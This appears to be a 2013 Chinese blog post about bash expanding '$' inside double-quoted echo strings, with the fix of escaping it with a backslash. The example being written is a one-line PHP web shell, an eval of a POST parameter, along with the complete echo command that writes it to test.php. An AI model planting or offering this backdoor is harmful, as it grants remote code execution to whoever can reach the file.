Linux 用echo 生成文件注意事项

因特殊需要,需要用linux下的shell生成一个php文件。

1
<?php eval($_POST['iplaylinux']); ?>

于是直接用

1
echo "<?php eval($_POST['iplaylinux']); ?>" > test.php

结果发现$_POST总是被过滤掉变成

1
<?php eval(['iplaylinux']); ?>

因为命令是从php执行的命令,没太注意,以为是服务器做的过滤。几经折腾才想起原因。
原来在Linux bash下,$开头也会被认为变量,而如果系统中没有这个变量。
则相当于取了一个变量。并且该变量默认是空值。
于是乎,生成的文件就相当于是被过滤掉了变量了。

找到原因了就好办了。
加一个转义字符\就解决了。

1
echo "<?php eval(\$_POST['iplaylinux']); ?>" > test.php

本文固定链接: https://iplaylinux.com/linux-echo-to-file.html | Linux玩家

该日志由 admin 于2013年05月20日发表在 Linux系统 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Linux 用echo 生成文件注意事项 | Linux玩家

Linux 用echo 生成文件注意事项:目前有1 条留言

  1. 沙发
    InBi:

    特殊字符转换,程序员应有的意识

    2013-06-23 上午 10:39 [回复]

发表评论

快捷键:Ctrl+Enter